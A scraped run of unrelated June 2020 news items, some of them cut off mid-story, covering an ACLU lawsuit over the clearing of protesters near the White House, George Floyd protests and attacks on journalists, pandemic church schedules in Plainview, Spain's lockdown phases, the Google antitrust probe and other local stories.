Sarno commended Police Commissioner Cheryl Clapprood for "her leadership and support of this program, which I firmly believe is putting us on a path where improved trust, confidence, and effective policing will be the end product.

Clapprood thanked Deputy Chief Rupert Daniel, Lt. Richard Randolph, Winbourne Consulting, IT Manager Jiansong Xu and city Director of Business and Technology Jennifer Leydon.
The action comes a day after the equally sweeping rollback and proposed rollback of public health and environment protections by the Trump administration. On Thursday, Trump signed an executive order directing agencies to look for ways to override environmental laws to push big projects like highways and pipelines to completion.
T he American Civil Liberties Union (ACLU) and other civil rights groups have filed a lawsuit against President Donald Trump and other federal officials over alleged policy brutality towards protesters near the White House.

The groups claim Mr Trump and other federal officials - including Attorney General William Barr - violated the constitutional rights of demonstrators who were removed from a park on Monday to clear a path for the President to visit a nearby church.

Protesters, who had gathered to demonstrate in the wake of George Floyd's deah, were fired at with tear gas and rubber bullets as they were forcefully cleared so that Mr Trump could walk to St. Johns Episcopal church from the White House.

What happened to our members Monday evening, here in the nations capital, was an affront to all our rights, said April Goggans, Core Organizer of Black Lives Matter D.C, the lead plaintiff in the case.

The death of George Floyd and Breonna Taylor at the hands of police officers has reignited the rage, pain, and deep sadness our community has suffered for generations.

"We wont be silenced by tear gas and rubber bullets. Now is our time to be heard.

George Floyd Protests - In pictures 1 /150 George Floyd Protests - In pictures Quincy Mason Floyd (c), son of George Floyd, and attorney Ben Crump (left) kneel at the site where Floyd was killed on June 3, 2020 in Minneapolis, Minnesota. Crump and Floyd spoke at a press conference after, calling for the arrest and prosecution of all four officers involved in George Floyd's death Getty Images Hundreds of surfers gather in support of Black Lives Matter, following the death in Minneapolis police custody of George Floyd, as they spell "UNITY" with their boards before participating in a paddle out for unity at Moonlight Beach in Encinitas, California via Reuters A demonstrator protests as police forces hold a line near Lafayette Park and the White House Getty Images People visit a memorial at the site where George Floyd was killed Getty Images Demonstrators lay down on Pennsylvania Avenue during a peaceful protest against police brutality and the death of George Floyd Getty Images Twenty-nine-year old DC resident, George (letf), slaps hands with three-year-old Mikaela (right) in front of a police barricade on a street leading to the front of the White House during protests over the death of George Floyd AFP via Getty Images Protesters cross Morrison Bridge while rallying against the death in Minneapolis police custody of George Floyd, in Portland, Oregon Reuters An aerial view shows people gathering to pay tribute at a makeshift memorial in honour of George Floyd AFP via Getty Images People visit a memorial at the site where George Floyd was killed Getty Images John Boyega speaks at Hyde Park during a Black Lives Matter protest PA People wearing face masks hold banners in Hyde Park during a Black Lives Matter Reuters Protesters wearing face masks hold up signs during a Black Lives Matter protest in Hyde Park Getty Images Atlanta police clash with a demonstrator during a protest, AP Marchers lay down on the Burnside Bridge for nine minutes symbolising the amount of time a Minneapolis police officer knelt on George Floyd's neck AP Protesters wearing face masks hold up signs during a Black Lives Matter protest in Hyde Park Getty Images A woman with a message painted on her face, "I Can't Breathe" is seen in Hyde Park during a "Black Lives Matter" protest REUTERS Law enforcement officers stand on the steps of the Lincoln Memorial as demonstrators protest against police brutality and the death of George Floyd Getty Images Protesters burn trash bins, shared scooters and bicycles AFP via Getty Images People raise their hands and kneel down as they protest at the makeshift memorial in honour of George Floyd in Minneapolis AFP via Getty Images Demonstrators embrace during a march in response to George Floyd's death in Los Angeles Getty Images Law enforcement officials and Georgia Army National Guard soldiers fire tear gas and advance on protesters on Centennial Olympic Park Drive outside the CNN Center in Atlanta AP A protester throws a smoke device at police AP Protesters march west on Broad Street as protests continue following the death of Minneapolis resident George Floyd in Columbus, Ohio AP People marching to protest the death of George Floyd get arrested on Gratiot near Outer Drive in Detroit AP Protesters throw a burning object at advancing law enforcement officials on Centennial Olympic Park Drive at Olympic Park in Atlanta AP Los Angeles Commander Cory Palka, right reaches out and offers a handshake to a "Black Lives Matter" protester outside Los Angeles Mayor Garcetti's house in Los Angeles AP Police officers hold a perimeter near the White House AFP via Getty Images Orlando police deploy tear gas during a demonstration outside Orlando City Hall AP Women ride atop a car and carry a sign in support of a "Black Lives Matter" protest outside Los Angeles Mayor Garcetti's house in Los Angeles AP People kneel in front of a line of California Highway Patrol officers in Redwood City AP Demonstrators gather to protest the death of George Floyd in Washington AP A protester hugs a member of the Army National Guard during a demonstration over the death of George Floyd in Los Angeles AFP via Getty Images Demonstrators march along Hollywood Boulevard AP Protesters head through downtown into midtown during demonstrations in Atlanta AP A protester holds up a skateboard during a demonstration over the death of George Floyd in Hollywood, California AFP via Getty Images Demonstrators greet members of the National Guard as they march along Hollywood Boulevard AP Demonstrators pause to kneel as they march to protest the death of George Floyd in Washington AP A demonstrator faces law enforcement officers during a rally near the White House against the death in Minneapolis police custody of George Floyd Reuters Roxie Washington, the mother of George Floyd's 6-year-old daughter Gianna Floyd (left), cries after addressing the press, alongside their lawyers at Minneapolis City Hall Reuters People march from Discovery Green to City Hall in downtown Houston AP Protesters rally on the Las Vegas Strip Sunday, May 31, 2020, in Las Vegas, over the death of George Floyd AP Demonstrators kneel in front of a line of police officers near the White House in Washington during a protest for the death of George Floyd AP US President Donald Trump holds up a Bible outside of St John's Episcopal church across Lafayette Park in Washington, DC AFP via Getty Images Fireworks go off in front of police, who with protesters in front of police headquarters in St. Louis AP Protestors are tear gassed as the police disperse them near the White House AFP via Getty Images Children show placard during a protest outside the residence of governor of Minnesota Tim Walz, over the death of George Floyd AFP via Getty Images A demonstrator try to pass between a police line wearing riot gear as they push back demonstrators outside of the White House AFP via Getty Images Protesters throw a tear gas canister back toward Stafford County deputies on the Falmouth Bridge in Fredericksburg, Va AP Chief of Department of the New York City Police, Terence Monahan, hugs an activist as protesters paused while walking in New York AP Armed National Guard soldiers patrol on Hollywood Blvd AFP via Getty Images In a show of peace and solidarity, law enforcement officials with riot shields kneel in front of protesters during a fourth day of protests over the death of George Floyd in Minneapolis AP Protesters rally at the White House Reuters A protester carries the carries a U.S. flag upside, a sign of distress, next to a burning building AP Protestors are tear gassed as the police disperse them near the White House AFP via Getty Images Police officers clash with protestors near the White House AFP via Getty Images In a show of peace and solidarity, law enforcement officials with riot shields kneel in front of protesters during a fourth day of protests over the death of George Floyd in Minneapolis AP Police begin to clear demonstrators in Washington AP Demonstrators vandalize a car near the White House in Washington as they protest the death of George Floyd AP A single officer takes a knee in solidarity with protesters during nationwide unrest following the death in Minneapolis police custody of George Floyd, outside the Oklahoma City Police Department Reuters Protesters throw a US flag into a fire during a demonstration outside the White House AFP via Getty Images Police form a line on Fifth Avenue outside Trump Towe AP Protesters are detained by police officers during a rally against the death in Minneapolis police custody of George Floyd Reuters Protesters hold up a sign in Long Beach, California as they demonstrate during nationwide unrest following the death in Minneapolis police custody of George Floyd REUTERS People rally against the death in Minneapolis police custody of George Floyd, in Saint Paul, Minnesota, REUTERS Protesters lie on the ground during a Black Lives Matter rally AP A young boy raises his fist for a photo by a family friend during a demonstration in Atlanta, Georgia Getty Images Police officers try to disperse people during a protest downtown Lansing, Michigan AP A protester has milk poured on his face after being exposed to tear gas AP Demonstrators block Interstate 244 in Tulsa AP Authorities stand guard in the area around the Georgia state Capitol as protests continued for a third day in Atlanta AP A demonstrator is arressted during a protest against police brutality and the death of George Floyd in Minneapolis, Minnesota Getty Images People demonstrate in Atlanta, Georgia Getty Images Tear gas rises above as protesters face off with police during a demonstration outside the White House over the death of George Floyd AFP via Getty Images Sheriff's deputies arrest people in Minneapolis, Minnesota AFP via Getty Images Police officers advance after firing tear gas during a demonstration in Atlanta, Georgia Getty Images A protester becomes emotional while taking part in a conversation with a police officer during a demonstration in Atlanta, Georgia Getty Images A man vandalizes a vehicle as another car is set on fire during a protest near the White House Getty Images Protesters march down a street during a solidarity rally for George Floyd, Sunday, May 31, 2020, in the Brooklyn borough of New York AP PA Protesters gather around after setting fire to the entrance of a police station as demonstrations continue Reuters Protesters gather in front of the burning 3rd Precinct building of the Minneapolis Police Department AP A protester moves around the 3rd Precinct building of the Minneapolis Police Department AP Protesters are seen from the roof of the Minneapolis police 3rd Precinct building AP Protesters stand in front of the 3rd precinct police building as it burns during a protest Getty Images People stand outside the Minneapolis police 3rd Precinct building after fires were set at the building AP A man walks past a liquor store in flames near the 3rd Police Precinct AFP via Getty Images A woman holds a sign as protestors gather outside the St. Louis Police Department Headquarters Getty Images A car burns in a Target parking lot AP Tony L. Clark holds a photo of George Floyd AP Denver Police Department officers clear a man who fell to the street after they used tear gas and rubber bullets to disperse a protest outside the State Capitol over the death of George Floyd AP Denver police officers fire canisters to disperse a protest outside the State Capitol AP Protesters throw objects onto a burning car outside a Target store near the 3rd Police Precinct AFP via Getty Images Firefighters battle flames at a business along University Avenue as riot officers police the street AP Police spray mace at protestors to break up a gathering near the Minneapolis Police 3rd Precinct Reuters Protesters react after the entrance of a police station is set on fire during the demonstrations Reuters A man wearing a face mask holds a sign near a burning vehicle at the parking lot of a Target store during protests Reuters A protester vandalizes an O'Reilly's near the Minneapolis 3rd Police Precinct Reuters Police spray protesters with pepper spray during a demonstration over the killing of George Floyd by a policeman outside the 3rd Police Precinct AFP via Getty Images A man poses for photos in front of a fire at an AutoZone store, while protesters hold a rally for George Floyd in Minneapolis AP Police remove barricades set by protesters during a demonstration over the killing of George Floyd AFP via Getty Images Shawanda Hill (right), the girlfriend of George Floyd reacts near the spot where he died while in custody of the Minneapolis Police AFP via Getty Images Protesters gather under the rain near the spot where George Floyd died while in custody of the Minneapolis Police, AFP via Getty Images An injured woman is carried by other protesters during clashes with police at a demonstration over the killing of George Floyd AFP via Getty Images Protesters clash with police during a demonstration over the killing of George Floyd AFP via Getty Images This aerial image provided by KABC-TV shows protesters attacking a California Highway Patrol cruiser during a Black Lives Matter protest on a freeway in downtown Los Angeles AP Protesters clash with police during a demonstration over the killing of George Floyd AFP via Getty Images A man throws a rock at the Minneapolis police 3rd Precinct during a protest AP Dajanae McKinney holds a painting of George Floyd during a protest AP People face police as protests continue calling for justice for George Floyd AP Protesters and police face each other during a rally for George Floyd AP People hold up their fists after protesting near the spot where George Floyd died while in custody of the Minneapolis Police AFP via Getty Images Protesters gather calling for justice for George Floyd AP A memorial left for George Floyd AFP via Getty Images

The lawsuit was filed on behalf of Black Lives Matters D.C and individual protesters.

Law firm Arnold & Porter, the Washington Lawyers Committee for Civil Rights and Urban Affairs, and the Lawyers Committee for Civil Rights Under Law also filed the suit, which was submitted to the US District Court for the District of Columbia.

Scott Michaelman, the legal director for the ACLU of the District of Columbia, said: The presidents shameless, unconstitutional, unprovoked and frankly criminal attack on protesters because he disagreed with their views shakes the foundation of our nations constitutional order.

And when the nations top law enforcement officer becomes complicit in the tactics of an autocrat, it chills protected speech for all of us.

Ben Wizner, the director of the ACLUs Speech, Privacy, and Technology Project, added: "Across the country, law enforcement armed with military weaponry are responding with violence to people who are protesting police brutality.

"The First Amendment right to protest is under attack, and we will not let this go unanswered.

"This is the first of many lawsuits the ACLU intends to file across the country in response to police brutality against protesters.

Donald Trump walks to church after protesters dispersed with tear gas

But Mr Barr has defended officials' decision to forcefully push peaceful protesters back from near the White House on Monday evening, saying rioting had gotten out of control over the weekend.

We decided that we needed more of a buffer to protect the White House, he said on Thursday.

Mr Barr also insisted the dispersal of the crowd had nothing to do with Mr Trump's visit to the St. Johns Episcopal church.

"There was no correlation between our tactical plan of moving the perimeter out by one block and the President's going over to the church," Barr said.

The clearance of protesters on Monday came shortly after Mr Trump gave a White House Rose Garden address in which he declared himself as the president of law and order.

The US President has come under fierce scrutiny over the incident, with critics accusing him of using the church as "prop" after he posed with a bible for photos at St John's following his walk from the White House.

Trump criticised after police clear protests for church visit

Mr Trump on Wednesday said he did not ask for protesters to be moved before he journeyed to the partially-burned church.

"When I went, I didnt say Oh, move them out. I didnt know who was there," he told Fox News.
The View

Low voter turnout could threaten legitimacy of presidential election

By CHARLES ANZALONE

The risks posed by the coming election to democratic legitimacy are thus high. If turnout is in fact unusually low, certainly the results will have to be utterly decisive to forestall any public doubts. 

The increasing likelihood of a severely depressed turnout for this falls crucial presidential election threatens the democratic legitimacy of the electoral process, according to a UB faculty member considered one of the nations top scholars in election law.

Due to the present pandemic, it seems increasingly likely that the 2020 general election in November will be held under conditions of unprecedented downward pressure on voter turnout, says James A. Gardner, SUNY Distinguished Professor and Bridget and Thomas Black Professor in the School of Law.

The possibility of a severely depressed turnout for a highly consequential presidential election raises troubling questions of democratic legitimacy.

Voter turnout in American elections has historically been poor, Gardner says, and under normal conditions, the low voter turnout is not considered a threat to the legitimacy of the election.

The coming election under the COVID-19 pandemic is different, he says.

People choosing not to vote of their own accord is one thing. But if people dont vote because they cant, if those obstacles are widespread and if those obstacles seem directed at specific groups, then the threat to that elections democratic legitimacy escalates significantly, Gardner says.

Such concerns cast doubt on the continuing validity of popular consent to the entirety of the existing governmental regime, he writes in Democratic Legitimacy Under Conditions of Severely Depressed Voter Turnout, a piece for an upcoming University of Chicago Law Review Online symposium.

Gardner calls the 2020 election possibly one of the most significant in the nations history. At least at this point, its expected to be held during an unprecedented pandemic. That means the threats to legitimacy will be high.

Although the actual effect on voter turnout in November is difficult to predict, he writes, experience this spring with holding primary elections during a public health emergency suggests that the general election is likely to be held under conditions that place severe downward pressure in turnout.

Gardner says several factors could cause a widespread, involuntary and systematic low turnout in this Novembers presidential election.

Voters may abstain from in-person voting for fear of contracting or spreading the disease, he says. Administrative efforts to provide alternatives to in-person voting, undertaken with short notice and little experience or preparation, may be disorganized and ineffective.

Gardner notes that the risk that the democratic legitimacy of this falls presidential election will be challenged is especially high because minorities and Democrats fear Republicans will try to use the pandemic as an excuse to control voter turnout, he says.

The president himself has stoked such fears, Gardner says. In May, he explicitly threatened to withhold federal funding from Michigan and Nevada in retaliation for decisions in those states to expand the availability of voting by mail.

Gardner sees dire consequences if low voter turnout threatens the elections democratic legitimacy. The Supreme Courts decision in Bush v. Gore has significantly increased public expectations about procedural purity of routine electoral processes.

Finally, the incumbent president of the United States has from the day of his inauguration worked steadily to foment the kind of distrust of electoral processes that could, in the right circumstances, mature into full-blown regime illegitimacy, Gardner says, noting the president has long maintained in-person voting is filled with fraud.

He now adds that absentee voting also is fraudulent, evidently making all voting fraudulent and unreliable.

The risks posed by the coming election to democratic legitimacy are thus high. If turnout is in fact unusually low, certainly the results will have to be utterly decisive to forestall any public doubts.
Source: Xinhua| 2020-06-05 21:13:17|Editor: huaxia

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MADRID, June 5 (Xinhua) -- The Autonomous Community of Madrid and the Barcelona metropolitan area will be allowed to progress to the third stage (Phase 2) of the de-escalation of the lockdown restrictions which have been in place since March 15, Spanish Health Minister Salvador Illa confirmed in a press conference on Friday.

Madrid and Barcelona will be joined by the region of Castilla-Leon in progressing to Phase 2, in which timetables for outdoor exercise are lifted, while restaurants and bars are allowed to open their interiors at 40 percent capacity.

Swimming pools and beaches are also allowed to open in Phase 2, but under the requirements of social distancing rules and a maximum of 30 percent occupancy.

While Madrid, Barcelona and Castilla-Leon move into Phase 2, Valencian Community and two provinces of Castilla-La Mancha (central Spain) remain in the Phase for another week. The rest of the country, making up 52 percent of the population, will progress to Phase 3, the fourth and final stage on the path to the "new normality" after the coronavirus pandemic.

Phase 3 sees restrictions lifted further with up to 50 percent of capacity allowed in cinemas, theaters and restaurants, while up to 800 people can attend outdoor events, as long as they observe social distancing regulations.

An important change in Phase 3 is that Spain's 17 Autonomous Communities can manage the pace of their de-escalation, deciding whether or not to permit movement between provinces, although movement between Communities is still not permitted until the end of the State of Alarm in Spain on June 21.

Spanish Prime Minister Pedro Sanchez confirmed earlier this week that on June 9 his cabinet will approve a new set of regulations that will be put into place from June 22.
Local churches continue to offer services to their congregants via alternative service options. Some have announced plans to allow congregants back into the buildings within the next few weeks. Others are sticking with the online service route.

Here's a list of where and when they're hosting services:

 First Baptist Church of Plainview announced that it will open its doors to churchgoers with services scheduled for 8:30 and 10:15 a.m. Doors will open 15 minutes prior to each service. Live streaming can still be found at https://firstplainview.com/media

 First Baptist Church of Floydada will begin hosting one service in the church at 10:30 a.m. Bible study (Wednesday at 6:30 p.m) and Sunday School (Sundays at 9:15 a.m.) will still be held virtually. A number of changes to the services can be found on the churchs Facebook page.

 First United Methodist Church of Floydada is now hosting open services.



 Church of Christ at 9th and Columbia is opening up on Sunday with the service scheduled for 10 a.m. No classes will be held at this time.



 The Potters House streams its services on its Facebook page and encouraging congregants to watch from home. Services are scheduled for 11 a.m. and 7 p.m. on Sundays and 7 p.m. on Wednesday.



 Plainviews Church of God already streamed services on its Facebook page. Open services at the church started last week. A PayPal account for offerings and donations can be found at paypal.me/LivingHopeFWC.



 Rehoboth Christian Learning Center has been doing Zoom services. The meeting room number and password is posted on the churchs Facebook page prior to the services.



 Northwest Church of Christ is streaming its services online on YouTube.



 Trinity Life Church is doing services on Zoom and Facebook Live. Information can be found on their Facebook page.



 First Presbyterian has a Youtube page and is streaming its services online.



 Calvary Baptist has opened up to its congregants with some restrictions, which can be found on their Facebook page where they will also continue streaming their 11 a.m. and 6 p.m. Sunday services as well as the 7 p.m. Wednesday service.



 Jerusalem Community Baptist Church is not only streaming services online, but those that would like to leave the house can attend the service in the parking lot of the church on Sundays at 11 a.m. Streaming can be found on Youtube.



 Bethel Baptist Church in Plainview is offering drive-in church services from now until further notice. The church will stream its services on FM 88.5 and will offer services in its parking lot. Services will also be streamed on Facebook Live.

 Harvest Christian Fellowship resumed offering in-person services last week with services at 9 and 11 a.m. Livestreams of both services will be offered on the churchs Youtube channel for those who prefer to stay at home.

 First Christian Church will live stream its service on Sunday. The service will begin at 10:45 a.m. Services will be conducted this way until further notice.

 Living Hope Family Worship Center is hosting drive-in church services on Sundays at 10:30 a.m. at the corner of 10th St. and El Paso. Those who wish to participate can drive to the church and tune in to the service on FM 88.5 to hear the Word of God while maintaining social distancing guidelines.

 College Heights Baptist Church reopened on May 24 with services at 9:30 a.m. for at-risk congregants and another service at 11 a.m. for others. There is also a Youth Sunday school livestream set for 11 a.m. on Sundays as well as Bible studies, games, and movies on the CHBC Summitt youth Facebook page. The church is also hosting adult Sunday school meeting on Zoom. CHBC will continue to post audio of worship services on its webpage. For additional information, visit https://www.collegeheightsbc.org/ or call the church office at (806)293-3644.

 Sacred Heart Catholic Church will celebrate Mass in the parking lot on Saturday at 6 p.m. and Sunday at 9 and 11 a.m. The service at 9 a.m. Sunday will be in Spanish and the other two will be in English. Those interested are invited to drive to the church and participate in the service from their vehicles. Tune in to station FM 100.7.

 Our Lady of Guadalupe began having daily Mass this week. Current daily Mass schedule is 8:30 a.m. Monday, Wednesday, Thursday and Friday. Weekend Masses return to the regular schedule this weekend. Saturday confessions start at 5 p.m., Mass at 6 p.m. (Spanish). Sunday Masses are 9 a.m. (Spanish), 10:30 a.m. (Spanish) and 12:15 p.m. (English).

 First Assembly in Tulia started letting congregants back into the building last week.
The timely response from the Ghana National Fire Service (GNFS) saved a burning petrol tanker from exploding at Gomoa Buduata.



The petrol tanker, with registration number (GT 4863-11)was travelling towards Accra when it caught fire from the engine compartment at Gomoa Buduatta in the Central Region.



Divisional Officer III (DOIII), Abdul Wasiu Hudu, Central Regional Public Relations Officer of the GNFS who confirmed the incident to the GNA said the Service received a distress call of a fire involving a Fuel tanker at about 1747 hours.



He said the driver and the mate tried to put off the fire with the extinguisher but were not successful.



Mr Hudu said personnel from the Apam and Budumburam Fire Stations were quickly dispatched to the scene of the incident, where they were able to contain the fire from spreading to the combustible liquid it was carrying.



He said but for the timely response of the fire service, the whole tanker could have exploded.

Source: GNA









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San Francisco, June 5 : The US federal and state authorities which are investigating Google may have expanded the scope of their antitrust probes to include Search, a core product of the company, the media reported.

Earlier, it was believed that the antitrust probes by the US Justice Department and state authorities focused mainly on Google's advertising business.

According to a report in CNN on Friday, Justice Department investigators sought details about measures to increase competition in the online search market from a Google rival, DuckDuckGo.

The development also suggests that the Justice Department could be moving closer to bringing a case against Google, almost one year after the department announced its decision to probe the practices of market-leading online platforms.

DuckDuckGo discussed the same proposal with state and congressional officials in relation to their separate investigations into Google.

The proposal calls for a detailed preferences panel on Android so that users can pick a search provider of their choice from many.

DuckDuckGo Founder and CEO Gabriel Weinberg told CNN that a solution like a search preference menu can enhance competition.

On Android devices, Google search had been the default for years. However, a fine imposed by the European Union in 2018 led Google to offer other search options to users.

While declined to comment on DuckDuckGo, which promotes itself as a privacy-protecting search engine, Google said it was continuing to cooperate with the state and federal investigations.

"Our focus is firmly on providing services that help consumers, support thousands of businesses, and enable increased choice and competition," Julie Tarallo McAlister, a Google spokesperson, was quoted as saying.

According to a report in The Wall Street Journal last month, the Justice Department is aiming to bring a case against Google as early as this summer.
Attacks against journalists covering demonstrations against racial injustice have prompted foreign governments to call on US authorities to respect press freedom and protect reporters, both local and foreign

A police officer near the White House slams a riot shield into a cameramans chest. The authorities in Minneapolis fire projectiles at a TV crew, prompting a reporter to cry, Stop shooting at us. A Black journalist is encircled by riot police and arrested live on the air.

Attacks against journalists covering demonstrations against racial injustice have prompted foreign governments to call on US authorities to respect press freedom and protect reporters, both local and foreign.

For the United States, it is a role reversal.

The attacks bear a striking resemblance to police brutality against journalists around the world over the years  ones that have been swiftly condemned by officials in the United States, where press freedom is guaranteed by the First Amendment to the Constitution.

But this week, it was the governments of Germany, Australia and Turkey condemning attacks on reporters in America.

Experts say the recent attacks reflect a growing pattern of anti-press violence in the United States. Pauline Ades-Mevel, a spokeswoman for Reporters Without Borders, said the frequency and the intensity of the US attacks are shocking.

Its a democracy, and its also a symbol, she said of the United States, adding that it is no longer a champion of press freedom, either at home or abroad.

Turkey, which has a long record of anti-press actions, appeared to seize on the erosion of Americas reputation in making its criticism.

Since protests began on 26 May, more than 250 abridgments of press freedom have been reported across the United States by journalists covering the demonstrations, according to the Committee to Protect Journalists, an advocacy group documenting the problem.

A number of episodes have involved foreign reporters, prompting governments abroad to urge US authorities to uphold international norms that ensure members of the press can report without impediment.

Heiko Maas, the foreign minister of Germany, said he would contact US authorities over the treatment of a German television news crew by law enforcement officers Friday night in Minneapolis.

Democratic states abiding by the rule of law must demonstrate the highest standards in protecting the freedom of the press, Maas told reporters Tuesday.

Any use of violence in this context must not only be criticised, but must also be consistently investigated and resolved so that journalists are effectively protected in their work, he added.

In a video posted by public broadcaster Deutsche Welle, the officers threaten to arrest a team of German journalists. In another scene, shots can be heard at the reporters back, and he ducks to shield himself. Stefan Simons, the reporter, is seen wearing a vest that clearly identifies him as a member of the press.

This is press, guys, stop shooting at us, Simons yells at police officers, standing some distance away. We are in the middle of a live shot.

Deutsche Welle, in a later report, said the police shot projectiles at the team, and Simons described rubber bullets being shot.

Two journalists working for an Australian news outlets were subjected to attacks by the police Monday evening as officers cleared peaceful demonstrators from an area near the White House to allow a photo-op for President Donald Trump.

Amelia Brace, a reporter, and Tim Myers, a cameraman, were reporting for Australias 7News television station, when they were charged by the police. The incident played out live on Australian television.

The episode was also recorded by another television camera and shows the pair sheltering behind a fence column before an officer drives his riot shield into Myers torso.

Brace is then clubbed on the back with a baton. Both were struck by rubber bullets, she said.

Prime Minister Scott Morrison of Australia asked the Australian ambassador to the United States, Arthur Sinodinos, to look into what happened, a spokeswoman for the Australian Embassy in Washington said.

Two police officers with the US Park Police have been assigned to administrative duties, while an investigation takes place regarding the incident with the Australian press, Gregory T. Monahan, the acting chief of the service, said in a statement.

Ades-Mevel, of Reporters without Borders, said the violence against journalists in the United States is alarming at many levels.

I think for a long time, the United States had been kind of a model for press freedom, Ades-Mevel said. But Trumps anti-press statements and demonisation of journalists  he has called reporters the enemy of the people  have created a climate that allows the authorities to act with impunity, she said.

We have warned in the past about Trumps rhetoric, about these attacks on the press being so dangerous for the future, she said. And now what we are seeing is that his rhetoric has had some very heavy consequences.

Those consequences ripple out across the world because the United States has traditionally been seen as a protector of free speech and the press. When security forces attacked reporters in Egypt during widespread protests in 2011, officials in the Department of State condemned the actions as deliberate attempts by the government to stifle information.

Similarly, the United States has long been critical of Turkeys crackdown on its press. Dozens of news outlets have been shut down by the Turkish authorities, and hundreds of reporters have been arrested and attacked by security forces.

Turkey is considered by press freedom groups to have one of the worst records in the world. According to the Committee to Protect Journalists, at least 47 journalists are in jail in Turkey.

But after Lionel Donovan, a reporter for Turkish public broadcaster TRT, was hit by a non-lethal round during protests in Minneapolis last week, Turkey used the opportunity to assail the United States for its treatment of journalists.

Fahrettin Altun, the Turkish presidents communication director, condemned the episode in a post on Twitter, saying he would raise the issue with US authorities without delay.

Press freedom is the backbone of democracy, Altun said.

His comments caused a swift backlash from some Turks, who accused him of hypocrisy and reminded him of attacks on the press at home.

Mehmet Kurt posted on Twitter: If anyone asks you: How many journalists do you have in jails now in Turkey? Or How many newspaper/TV did you close in the last four years? Do you have an answer?

When a Black CNN reporter, Oscar Jimenez, was arrested in Minneapolis live on the air along with members of his crew, some Turks drew comparisons to the detention of Ivan Watson, a CNN reporter, following widespread protests in Istanbuls Taksim Square in 2014.

Arresting CNN reporter live on TV. Everywhere is Minneapolis, everywhere is Taksim, read one post in Turkish Twitter with a screenshot of Watsons arrest.

Attacks on journalists are on the rise in cities around the world, particularly during mass demonstrations, experts say.

Its worrying, because it creates a climate of impunity that gives the feeling that there is no limit anymore, Ades-Mevel said. And we are worried of course about the consequences.

Megan Specia c.2020 The New York Times Company
More than 3,000 people turned out for a student-led Black Lives Matter rally Thursday evening in Katy to protest the death of George Floyd, a black man from Houston's Third Ward who died while in Minneapolis police custody last week.

The event was organized by three Katy ISD students and was originally intended to be a student-only protest. It gained the attention of Ashton Woods, founder and lead organizer of Black Lives Matter Houston, who then sanctioned it as an official Black Lives Matter rally. Following the announcement and response on social media, the rally was moved to a larger venue at Katy Park off of Morton Road.

Katy Police Chief Noe Diaz reported that drone footage from the police department showed more than 3,000 people in the crowd.

NOT BACKING DOWN: Houston PD arrests more than 200 after downtown rally for George Floyd

The event began with a march around Katy Park. A chorus of voices chanted, No justice, No peace, Black lives matter and I cant breathe, a reference to Floyds last words that were caught on video. Floyd died of asphyxia after a white police officer knelt on his neck for several minutes as he begged for help.

Regina Alexander is the coordinator of Katy-based charity Feed the Hunger Packathon and a volunteer with Compassion Katy. She attended the event with her husband and four children. For Alexander, the event was a symbol of hope for the future, despite her pain and anguish over Floyds death.

A group of teenagers initiated this. They took it upon themselves to be the change this world needs, she said. It devastated me when I had to tell my children what happened to George Floyd, and that as black Americans, they will have to face racism in their lives. But being here at an event put on by kids - I grieve, but I grieve with hope.

Speeches from local leaders followed, with Fort Bend County District Attorney Brian Middleton, Fort Bend County Precinct Three Commissioner candidate Hope Martin and Harris County Clerk Chris Hollins relating their struggles as black men and women growing up and living in a culture of racism.

ON HOUSTONCHRONICLE.COM: Tens of thousands march on downtown Houston to memorialize George Floyd

You know what it feels like to be a victim of racism? Middleton asked. It feels like you've been suffocated. It feels like you can't breathe. It feels like you've got a foot on your neck.

Martin recalled, I went off to the United States Air Force, and I am ashamed to say, nobody sees me as a veteran. If I get pulled over, if anybody sees me on the street, I'm just another black woman.

Hollins, who was recently elected, lamented that his unborn son may face the same racism he faced. I have to bring him into a world that is not as improved as it should be from the same world that my father had to bring me into.

The three speakers also encouraged the young crowd to use their voices and anger where it matters most - in the voting booth.

TOP HITS: Get Houston Chronicle stories sent directly to your inbox

Get to the polls to use that voice, Hollins said. Elect leaders who are here to serve you and look like you and respect you.

High school students from Katy ISD also spoke. Some gave speeches, some recited original poetry and some expressed themselves through freestyle rap.

Twins and Cinco Ranch High School students Sydney and Ethan Hart spoke together in synchronized poetry. They asked, Why do you slow down when it matters? Why do you slow down when we need you? Why do you slow down when were being killed?

Jeffrey Jin, one of the three student organizers, expressed his gratitude for the massive turnout for the event.

We started this as a way to show support for the black people in Katy, but the number of people who came out was beyond anything we could have anticipated, he said. Its really important that the voices of the youth, especially, speak out. And being here today shows that what we say and believe can impact the world.

claire.goodman@chron.com
Mr. Cowan also credited Ms. Thuston with helping me get out of my box, as he put it. Since weve been together, she has helped me discover a different, friendlier and more loving side of myself, he said.

When asked what Mr. Cowan had brought to their relationship that she had not experienced before, Ms. Thuston quickly responded: Its just the way he looks at me, as if no one else is there and nothing else matters. No man has ever looked at me that way.

In August, Mr. Cowan accepted an invitation to join Ms. Thuston and her family on their annual vacation to Orlando. It was one of two trips the couple took to Disney World that year.

They took yet another Orlando trip, in August 2019, with both their families  it was the first time everyone had met. My family absolutely fell in love with him, said Ms. Thuston, who became engaged to Mr. Cowan on Aug. 10.

They were able to see in Damion what I saw, an extremely take-charge kind of man, but one who is always willing to let me lead, if need be. she said. For Damion, its not about suppressing my strength in life, but rather, to put my strengths to good use in helping to solve any problems that might come our way.
The White House, in a statement on the 31st anniversary of China's Tiananmen Square crackdown, urged Beijing on Thursday to respect human rights, fulfill its commitments on Hong Kong and end persecution of ethnic and religious minorities.

"The Chinese Communist Party's slaughter of unarmed Chinese civilians was a tragedy that will not be forgotten," the White House said.

It urged the Chinese government to fulfill its commitments under the Universal Declaration of Human Rights and the Sino-British Joint Declaration governing Hong Kong's status, and to "uphold the rights and freedoms guaranteed to all Chinese citizens under China's constitution, and to end the systematic persecution of millions of ethnic and religious minorities."

The anniversary of China's bloody 1989 crackdown on pro-democracy activists coincides with widespread protests across the United States against racism and police brutality touched off by the killing of a black man while in custody of white Minneapolis police officers.

US President Donald Trump has threatened to militarise the response to the mass demonstrations, saying he could deploy the military in states that fail to crack down on the sometimes violent protests.

"The American people stand together with all Chinese citizens in their pursuit of fundamental rights, including the right to accountable and representative governance and freedom of speech, assembly, and religious belief," the White House said.
ALTON  The local J.C. Penney store is not on the list of 154 sites the chain said Thursday that it is closing next week in what it is calling the first phase of its efforts to shrink its footprint.

The Plano, Texas-based retailer said it could take about 10 to 16 weeks to complete the closures. In Illinois the group is closing stores in Carbondale, Mt. Vernon, Freeport, Bourbonnais and Calumet City. In Missouri, it is closing stores in Independence and Kirksville.
